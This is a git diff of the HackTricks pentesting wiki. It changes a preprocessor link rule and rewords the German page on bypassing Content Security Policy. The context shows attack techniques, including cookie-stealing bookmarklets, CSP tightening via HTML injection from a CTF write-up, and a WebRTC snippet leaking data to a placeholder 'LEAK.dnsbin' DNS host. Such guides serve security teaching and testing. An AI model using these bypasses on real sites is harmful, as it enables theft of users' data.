diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index af5949449..5d070c39f 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -78,6 +78,9 @@ def ref(matchobj): sys.exit(1) + if href.endswith("/README.md"): + href = href.replace("/README.md", "/index.html") + template = f"""{title}""" # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"}) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index db9730e5b..23bbd1280 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -25,7 +25,7 @@ CSP kann mit diesen Headern durchgesetzt oder überwacht werden: ### Defining Resources -CSP beschränkt die Ursprünge für das Laden von sowohl aktiven als auch passiven Inhalten und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist: +CSP schränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte ein und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist: ```bash default-src 'none'; img-src 'self'; @@ -52,29 +52,29 @@ object-src 'none'; - **object-src**: Definiert erlaubte Quellen für ``, `` und ``-Elemente. - **base-uri**: Gibt erlaubte URLs für das Laden mit ``-Elementen an. - **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf. -- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf. +- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen kann. - **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben. -- **sandbox**: Wendet Einschränkungen an, die ähnlich wie das Sandbox-Attribut eines ` // The bot will load an URL with the payload @@ -544,7 +544,7 @@ run() Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen. -Für weitere Informationen [**überprüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP-Umgehung durch Einschränkung von CSP @@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\ -CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** zulässt, und spezifische Inline-Skripte über sha aktiviert werden: +CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** erlaubt, und **bestimmte Inline-Skripte über sha aktiviert werden:** ```html ` einzubetten. Beachte, dass dieses **Script** **geladen** wird, weil es **von 'self'** erlaubt ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\ Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) @@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft. -Tatsächlich kann man _leak_ Informationen über eine _DNS-Anfrage_. Schau dir diesen Code an: +Tatsächlich kann man _Informationen_ mit einer _DNS-Anfrage_ _leaken_. Schau dir diesen Code an: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })